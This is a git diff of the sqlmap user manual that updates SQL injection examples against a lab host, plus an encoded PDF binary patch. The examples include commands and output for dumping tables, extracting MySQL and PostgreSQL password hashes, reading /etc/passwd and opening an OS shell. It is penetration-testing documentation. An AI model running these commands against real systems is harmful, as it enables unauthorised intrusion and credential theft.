-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ - -T users -D test +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \ + -T users -v 1 +back-end DBMS: MySQL >= 5.0.0 + +[15:59:13] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'users' entries +[15:59:13] [INFO] fetching current database +[15:59:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32)) +[15:59:13] [INFO] retrieved: test +[15:59:13] [INFO] performed 34 queries in 0 seconds +[15:59:13] [INFO] fetching columns for table 'users' on database 'test' +[15:59:13] [INFO] fetching number of columns for table 'users' on database 'test' +[...] Database: test Table: users [5 entries] @@ -2351,8 +2865,8 @@ that you want to enumerate the entries.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \ - -T users -D master -C surname +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump \ + -T users -D master -C surname -v 0 Database: master Table: users @@ -2374,11 +2888,11 @@ Table: users You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --dump \ -T users -D public -v 1 [...] @@ -2420,12 +2934,12 @@ options to limit the dump to a range of entries.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ - -T users -D test --start 2 --stop 4 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \ + -T users -D test --start 2 --stop 4 -v 0 Database: test Table: users @@ -2451,11 +2965,11 @@ table entry.Options:
--dump-all
and--exclude-sysdbs
It is possible to dump all databases tables entries at once.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0 Database: test Table: users @@ -2527,8 +3041,8 @@ tables.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \ - --exclude-sysdbs +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \ + --exclude-sysdbs -v 0 Database: master Table: spt_datatype_info_ext @@ -2585,7 +3099,7 @@ database management system and retrieve its output.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo'" -v 1 [...] @@ -2596,7 +3110,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca [hh:mm:14] [INFO] performed 27 queries in 0 seconds SELECT 'foo': 'foo' -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 1 [...] @@ -2618,13 +3132,13 @@ SELECT 'foo', 'bar': 'foo, bar'As you can see from this last example, sqlmap splits the query in two different
SELECT
statement to be able to retrieve the output even -in blind SQL injection technique. +when using blind SQL injection technique. Otherwise in inband SQL injection technique it only perform a single HTTP request to get the user's query output:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \ "SELECT 'foo', 'bar'" -v 1 --union-use [...] @@ -2650,8 +3164,8 @@ SELECT 'foo', 'bar' [1]:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \ - "SELECT 'foo' FROM dual" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \ + "SELECT 'foo' FROM dual" -v 0 [hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n SELECT 'foo' FROM dual: 'foo' @@ -2662,17 +3176,19 @@ SELECT 'foo' FROM dual: 'foo'As you can see, if your
-SELECT
statement contains aFROM
clause, sqlmap asks the user if such statement can return multiple entries and in such case the tool knows how to unpack the query correctly to -retrieve its whole output line per line.Example on a PostgreSQL 8.2.7 target:
+retrieve its whole output line per line when going through blind SQL +injection technique. + +Example on a PostgreSQL 8.3.5 target:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \ - "SELECT usename FROM pg_user" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \ + "SELECT usename FROM pg_user" -v 0 [hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y -[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries -do you want to retrieve? +[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many +entries do you want to retrieve? [a] All (default) [#] Specific number [q] Quit @@ -2684,17 +3200,17 @@ SELECT usename FROM pg_user [2]:As you can see, in the last example sqlmap counts the number of entries +
As you can see from the last example, sqlmap counts the number of entries for your query and asks how many entries from the top you want to dump. Otherwise if you specify also the
+output line per line when going through blind SQL injection technique. -LIMIT
, or similar, clause sqlmap will not ask anything, just unpack the query and return its -output.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -2753,23 +3269,23 @@ statement interactively, like a SQL console logged into the back-end database management system. This feature has TAB completion and history support. -
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \ "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1 [...] @@ -2734,7 +3250,7 @@ ORDER BY user ASC LIMIT 3, 1 [hh:mm:14] [INFO] performed 34 queries in 0 seconds [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user ORDER BY user ASC LIMIT 3, 1 -[hh:mm:14] [INFO] retrieved: 127.0.0.1 +[hh:mm:14] [INFO] retrieved: 192.168.1.121 [hh:mm:14] [INFO] performed 69 queries in 0 seconds [hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user ORDER BY user ASC LIMIT 3, 1 @@ -2743,7 +3259,7 @@ ORDER BY user ASC LIMIT 3, 1 SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]: [*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B -[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1BExample of history support on a PostgreSQL 8.2.7 target:
+Example of history support on a PostgreSQL 8.3.5 target:
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> SELECT 'foo' SELECT 'foo': 'foo' sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell] sql> SELECT version() -SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 +SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)' sql> exit -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename @@ -2788,11 +3304,11 @@ SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:Example of TAB completion on a MySQL 5.0.51 target:
+Example of TAB completion on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0 sql> [TAB TAB] AND ORD(MID((%s), %d, 1)) > %d @@ -2824,23 +3340,23 @@ sql> SELECT back-end database management system in sqlmap XML queries file, but you can run whateverSELECT
statement that you want. -Example of asterisk expansion on a MySQL 5.0.51 target:
+Example of asterisk expansion on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \ -v 1 [...] [hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql> SELECT * FROM test.users [hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' -[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column -names itself. +[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the +column names itself. [hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' [hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' -[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM -information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) +FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(116,101,115,116) [hh:mm:48] [INFO] retrieved: 3 [hh:mm:48] [INFO] performed 13 queries in 0 seconds @@ -2932,12 +3448,12 @@ entries and goes on. hasFILE
access (access toLOAD_FILE()
builtin function), it is possible to read the content of a specific file from the file system. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ - --read-file /etc/passwd +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ + --read-file /etc/passwd -v 0 /etc/passwd: --- @@ -2978,12 +3494,12 @@ directory within the web server document root path, sqlmap can prompt for an interactive operating system shell on the back-end database management system. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ - --os-shell +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \ + --os-shell -v 0 [hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path [hh:mm:49] [WARNING] unable to retrieve the remote web server document root @@ -3000,7 +3516,7 @@ $ exitAs you might notice, such operating system shell has the same -functionalities of SQL shell.
+functionalities of SQL shell in terms of TAB completion and history support.5.9 Miscellaneous @@ -3018,7 +3534,7 @@ attack.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \ --eta -v 1 [...] @@ -3050,7 +3566,7 @@ banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
@@ -3239,7 +3755,7 @@ character retrieved to the end of the query output.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \ --users --eta -v 1 [...] @@ -3179,11 +3695,11 @@ performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time. -Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -3206,16 +3722,16 @@ retrieving the PostgreSQL banner and logged the session to text file $ cat sqlmap.log [hh:mm:40 MM/DD/YY] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL] -[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('1', '1')][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(9, NULL)][9] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('9')][1] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL] +[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 o
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 -s "sqlmap.log" [...] @@ -3191,7 +3707,7 @@ back-end DBMS: PostgreSQL [hh:mm:42] [INFO] fetching banner [hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) -[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o +[hh:mm:42] [INFO] retrieved: PostgreSQL 8.3.5 o [hh:mm:43] [ERROR] user aborted
@@ -3268,11 +3784,11 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 -s "sqlmap.log" [...] @@ -3247,15 +3763,15 @@ back-end DBMS: PostgreSQL [hh:mm:37] [INFO] fetching banner [hh:mm:37] [INFO] retrieved the length of query output: 93 -[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o... +[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 o... [hh:mm:37] [INFO] retrieving pending 75 query output characters [hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)), (CHR(32))) [hh:mm:37] [INFO] starting 1 threads [hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2'It is possible to save the command line options to a configuration INI file.
-Example on a PostgreSQL 8.2.7 target:
+Example on a PostgreSQL 8.3.5 target:
@@ -3382,7 +3898,7 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2. case of a choice has to be done, you can force it by using
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 --save [hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf' @@ -3303,7 +3819,7 @@ proxy = referer = testParameter = threads = 1 -url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2 +url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1 userAgentsFile = [Miscellaneous] @@ -3364,11 +3880,11 @@ back-end DBMS: PostgreSQL [hh:mm:10] [INFO] fetching banner [hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32))) -[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) +[hh:mm:10] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [hh:mm:16] [INFO] performed 657 queries in 6 seconds -banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu -4.2.3-2ubuntu4)' +banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real +(Ubuntu 4.3.2-1ubuntu11) 4.3.2'--batch
option than letting sqlmap go for a default behaviour. -Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
diff --git a/doc/README.pdf b/doc/README.pdf index 58a8c8bd15ec4ac61a945d9ef89539a5724c2421..eba9d25f78812fb64fbc8dd9130fd983e95bcafa 100644 GIT binary patch delta 156621 zcma&ObzD`?*9J;=cXQ}IoCcImX%LX^lI{}Z08%1IY)UDmR5}Dnr9)5wMFasU0Vx5c z6!32F`-}H|@BMu4Kg^ypYtLRYvu4k;p0zep09|_rece70ty*ZHzdhudv9STK@YzQ0?i2}jIN`M0~J@AQG8F)d=3mAaEg_5uUY$QmahlC5Tlc1u7!$ctR@?_55 zPCgFqWN;V?NF U9q8;G2zZbSfvS)K3Rj7Ma&iVh8kZJWCKm_9$*BNN z3NmVA=YT+ni;q9V*v-os;s6+t^8(i?H~~d`3Lr}MKZ>DXKpi;>D5DU`k%STu0`Dmp z0U-)8fR|Db=#nD>A}L65rGZ2WE+Cjv7_gNm0m>=qfOU#1zz`+pr3Tk1sqoMkzznSN zP>BJLD5(GoDl(vjk_H!ZIXneL65)SMBnAb6K`y3LSS85c9~=lID8SiY fEP6{phF`Dv|UtDz-wv&a5&>sq5vBWHLyWL1|VtJ09IO2AcTerPX+-b& u70!L^=v!lvV_2p%Vh2 z8brWXIywMF#|f~~3j=R7{yiiFXeIaPpg 3{-eXux|!gJmg;s z+-0D_Lt+3tMs+}di4Ay!PYsCc{6`UR?e8#N0sQ|q<)p#EiQHr)$3vljV@3(kBzcHg z0XtnvK!=HxTl!xMr|K5q=xGmH)qj=^fsz3&o+Sg1SWN1__YDG#_}5)ZL4h}Y`~&{I zb_n!^icIvD2=s+XT!%m;)!hOi*5IzoDOAK~%DL@;PlAuapnyF)VeGbrB`||wh+H#0 zu68MZ+V*+F@-SmN7~$2XT~4jZ{aiiDsH@6zZU4KNIRbaZ8Gra~W}T$jr+t}^N8hZx zSaf+=tPdV36jFx2>QL2; tmR53PlXAGXLvUx$yh@s2+%b_=G6i(fR&EbN;A> z+!slPWH(>uFSX0-Ex$|g6*AH9IL@oI`5CN8lJd@&yT2`rX8OK*T$rNr61j{i^6P+P z)Kwc?$#)W8t|^Hi-Q|D!(TQ2F_V?(bLUHyRnF9@V=bp0sMv59?1Ad2woJF6Q%oGgJ zl;3!1Zr0WeW1%D=wla88vxt(Mi}+o-dRSFhsrFT`DW}5i$I1sK@9Z0GuL7naJFCZW z4@KGyc;l7tjf`Ha*YU=+D`N{3F55dXcK+kNF0?nnTXOG6v@%%i0aHLzCOzY8p}m$m zyKmKHZ=9UJiHRK@-NE*9OB2+m>)}4;2q$^=xDPkf`x>usO{Pp&izs&}ln>vlA<8I? zMv~xw7_aeoW~j@rOd?a7Ytr2LMb`k`C?8Hf&5tLo>9S9~9i`Y6>Fu)FA8-<7@b6hf zkKcm~?4`8T22@l0V0t*od!r8CEg?bCQ!8u0bJ)JfPW{L7_GcpO+jO(^kGEdgQLDT& zYQKteC_Crk&J$!qa0>H_H9KD@rPZIQE6Ol){@74{@AT!3=&-x7`8XB&PoLg{{UWiq z mI4_;x8hXw|0&*`N) O9G zuu}A!+SF=1OULl*`o@ecqo}a^reDs+oD-Me@9x5B3 FXRfN9)nK$wmvw+j~#vnqK`DNtvAU5^U-S$Z_fCA2N`>@|yELMN1+_ zUBBDCnnRO%(c2OcU-cM(=7-#jGda%$<(|4`6$!~5Pd<$PaEpm| 7c4V#v*vp{DG~3OWC?!6x=k+KrD^T{*bZze`gr zDuqz=dmMC%-r*Q3b$-`6N*~T0Y<76Zbo!l7@1n 8C{N; z#6rciEq;;P`TX=zSmAFZAzsR%C(kD2r#<+%gRZ@({Sd>z7T~uOc1@8e9*zjzww-hA zI;zh`ny;ECJhtma*p~4&bC0FFk|-XFGPVv0$*at ^AN0yPewYM#Orc!{n) zqfh;uz8#L>DreM8!$5T@?*Yd~V yv3nE1Xp?S9cV4xZQeU6T1-SooXGRBPVL z+>D)?5)oC6DWk4+oIu(w>K3J=U{3X;uf#z#uRCUNLaf%Ckq_RP7@Ahfzf}&3nBNUn ztdrg^-t}|hUjKOGxny!J^LOqp^}03Y>-t-PV>V|GO%??5d@7THv=Fa^P?4tmO091p zY26d2k05jb{uRlQS%h9(k_nxEaCoZuZeJYm0fGL`_Fn%w>cRIuFx~=TL`X|ry#L80 zuR90$1o=BU2S5 hf0zLh9m3x(=2ye@kiD zKPCL1^5XCT+oh5Jlz$HzYaoH|3P1y)0@}HP0TF)a<+T@g5YTmb9SfKVTm{}itbiY2 z`ACu&@ZvEC072QyYf@e_04? N)o_}-w0^_ z=bAvk2rv` u&n#Sltgob-SfoE6}-;Q@A`ER0f6 zX$06i3IWA{kB6hAp%}Q#g)CqsNecoM9;hlK0tS`2Q~?y0K||mO87K(L>P4mK|AE}{ z@{oVPB0?J2`y~N9l4oRw!(dQ^6!?6U3>1a{OE??~!(hO^g+W|I4PvJM+=K$6C6pPZ z!RMeb;2cOpkw^?g1_3_qLKhHc!|3Ti4K86QL{^qeQWXM%5CHd;U=BMm0Tt0@6$Nz1 z2{0gJ{(-CikwXFfaKVeQlrm|+r635IzeXpi4o8EPzm^A9q`}Hx^OICZz`)918w4wG zu!6ocNU(wcD;U5}Pdvvk4VM8InFB}Siek4dM}qUNFckb2W9h+3;)0+&jh={EcWUNI zm&{Tz=y>idEkdq6eD$h_?h}!fkk*a7KCWo5 B|d(|O|uH#O0bg)W}OqSPG=f2Mad#ZAKogH8gqh7%p ztgr&l{G7Q83iJk^0OXr%E1L<93)R+1w^v#WW P&7Eg(nK!YU|xNg8@ z(lN>i@jJ9-$o4B7&LMYEa**ej$qSwmh&m4vKL2z}GG69JF1D8PdTx2F%; VZ6doH=S*%>3_G7vllF|TQv;Iuf~2uLy!nBx zF}svJCkT1PV0C{I&W#BuZWDJ4UacnQKuKMEP+|WIlfL#%gP8do(m&tgh^$?NeAu6- zXJd$kU#0i$UB5M;Ycm9B=8L*M19pvFW;glYmhaEq {iH3iw=+ZX=K=&&so&k-@_wUiPZE7@ zXgoRNrgj=-piI-r#D4&Jp3qoQyA|1?TCP *BWR|U_ zmRi _UF%~Q6G~rLlXw}&b%aQnz)7T)IwtzpZ*>C=P3Y2CNNHRpUU1lCuAKK zZHm{to-^`p(`E;*`)=7)0B`1F#)`&4n)IvMCIg$N%As$MJHBjnF>quIBIkO!qh2L` zU*dmAiL=vvM^ZL}!uAeD@eua-=H2kzknFWQalKDL6RcA|6QeUZ5~sBYCm-<|7)N;X z @o68*tlqaghyC!&3`uSN9TD3Z~DokfkdJh$y {?J__c{?Z60;vA9;7%Ee}kS=I0OI z%Kf+A0de+y#4b4t265j)qlph5-YWIlDA3R`vDlJoJo|+*FWRA(nd9EYVS6OEpq-j5 zaki`2I{F~yrFVjB QmA6vyl-%d2gehnY->NDp#x_CBJJqUe$1|=jPX^Ku8 z5`N{(kQc#qH}gwYoqQO+(Yv`cZ%rCw^WO?^>i$|+^Gws*C4xW43ePuJ^-X*AYzCf< z$%&d~ZXafys<$c|_BD8=|J=mwP;grB{(hM5<8n0z5u2FwDBb9V=4)eYx54V0j}+#j z; nE*Miy2}ga7Vb>IBXr2*GW*3=E2}ygodU9{g!wfc` zjl@DFb^9Rs*4R=_|CbZ z6&AwSn%MDsup)nLu6woFQtFjD*B~(d=QBcx{J-%DFyX@nq A)qJ}c$R~zNMX X5{ zEcvTemmCeirm9AbmXZc%2ZSUT5XOKo!(Kraq_F6K4%N$kKy(9#f-`yvYv3TfK!ekP zmIh}E W_q!bc@l0idJQkPQ{twawjXk3CmDij6{J^+G1fd~j}7FCf41e9rkh-<1;DA0i5 z;A$d30|4!2L`4A@1e-WD|H4IERZ;?k6u2&4stUkO6 k)UmWBL#Pe4A>hSTnrSbIqI^PT{SvDK}VGe30emVG;1Vi z1E5)?X~+R->I}f5&L#L|xX=wWX!u1B7w{DW1qmm(%HLIjYS03qx_^h*b&Z4wfd*l$ z4Dj}vEXcai1MwEn3kXRKx(kfbkcmRkX6V>Id7iJ9Z zE)Y4BYsp?xasag^74TJx9)M}WDM4ER*A}#e%Q>#rf?b-*6HQu>rUQ2|pr}nk4Dw!3 zG(rZ@*Omh`wP*n sDn0KPropx1RN0zMoB=O9527ZwBwK;TT5mJYP<{{gQ-IuiGl5WwOC zIu)%{)c?l6e=#$Nf5mc=i3lh!I6q>1(7(%he2g!G?Kd}1oo%6wEV3Q }&G_QE(%$6PlXB$r;^Yd6yuDFex|8mDmML3r#(S^dVbWCXwfXjqw;Nyk zbI6%3T));h_%J@Xzg_-Kv=%CVwpc~B@Tb{-3!;1D2vuQ0Xo%<4+SYn}wlsaXv~T*( zx-6J23_I=~K8T38deA%BY<9cBD!fy3qU)AP?d^9PpIthmn_2d4qz- 6cuAAUMiiga7q6Rd7HZ(9Rd0bZfPhvbu$9a3yeIzOk^nsUsvKJ`xp zu@s+oZ8jFv<+V2n|9YraZ1Ys;L87#6g8!Xc#bH)o?#sgUt7o=u A)%u%BI1_YgOe&qoWn&^Q6O+X6S~78@(2= z-65R@(PrWj-oW*`M{;S`Cg;&!0>w_62i2xQPhLI5I^uuyQoj{3FMQ?30)u(coQwKn z(aJ?}vHro=9Xp>6v{e7R-@9{b?>M+Z?)k&DXupWTCX2~l_0fHs4fA(Jovli*UtF0C zTA>>fT&B(Ipfp#PpzSB4WIVoBTdr9UA@5`zlFIk6*-q(q)n~DD3PJY+Q|pQX#PXnS z`;CP0A5K^|jeZ0B=WWlb<~{t`rR+8E ?4SasO462%niA{bwr*^jx4H+(pll&teTMd!PW)G(TmN~#b4}x0=LX)qtSME z;+k=p!n&B0k%}qWJ(z6AU1HdkB%$*d*}>-%>t5gKE25vjQbg0GEh!wk&b{<7E+YjW ztrqDt*Q6_8G-~C@o2YVwIFw!yr 4 M?2g0nNp?&@2GYO5#oEa>p^PSLeFJCCo@Gc9ig8V1z9w$N83k* z-p38LYM2~(!40+jQIp^Ula1+kb~S42b9X7L-B;bRT=#gJ#H-#XIMKPRmIQN~k?%f) zwiset>>TX4_yr7Ql!6EtMA~+qRt@8*zRtkoAtStMfNy3|j(r*wx%$09fsM1T=0I@d z%N*pJ8P@gwT^twXi25QsP7`65Vn4t2XSWjFco{Lh4ToAUWY?$!?AVC `)!pr jduQ89cc>1?UC#=)>pt?WDXZa*het>pc;z)Uq@{;zqgy@W6rC1@ht=vxI7_&~ z$+M&y;KKMu^}P0;%8(a&c$*unA&_F~vZa`Of{YM6T(?pm1EYuX94s4o&8~0f4Avra z%t{)&(`q*xvz}E5vWA;vf1%c$suzYn#+Id NBx86G-0yZx6lfTg&DXL;c6dF@kgTRz%@ftp&fD zzC7*RzK;sKRzrOBrZr@WPR CY2qG_k=# zU4-YpX#z(Lhb%XD;bI{MT|a*(`BYO=z$+QnYYzG13WVb3bZgvO2+>%ZvCbQESqple zK@VDyN(r}#pNVWe?mdp~Ggv?Q`hbe$WL76cZ)LCG$5zdoB9g5ryR8ICv-iD}%T^W$ zt*gG-SI6Na0YU4|+(w-woT{fO!v@&2f~2yE` Ulk`ATe8E_rCX&4e7Q;J1Gqy^ 